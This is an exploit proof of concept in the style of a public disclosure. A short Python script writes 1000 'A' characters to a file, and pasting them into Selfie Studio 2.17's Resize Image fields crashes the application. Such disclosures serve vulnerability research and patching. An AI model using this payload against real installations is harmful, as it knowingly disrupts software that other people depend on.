# -*- coding: utf-8 -*-# Exploit Title: Selfie Studio 2.17 - 'Resize Image' Denial of Service (PoC)# Date: 13/05/2019# Author: Alejandra Sánchez# Vendor Homepage: http://www.pixarra.com# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbselfiestudio_install.exe# Version: 2.17# Tested on: Windows 10# Proof of Concept:# 1.- Run the python script "Selfie_resize.py", it will create a new file "PoC.txt"# 2.- Copy the text from the generated PoC.txt file to clipboard# 3.- Open Selfie Studio# 4.- Go to 'Image' > 'Resize Image...' # 5.- Paste clipboard in the 'New Width/New Height' field# 6.- Click OK# 7.- Crashed
buffer = "\x41"* 1000
f = open ("PoC.txt","w")
f.write(buffer)
f.close()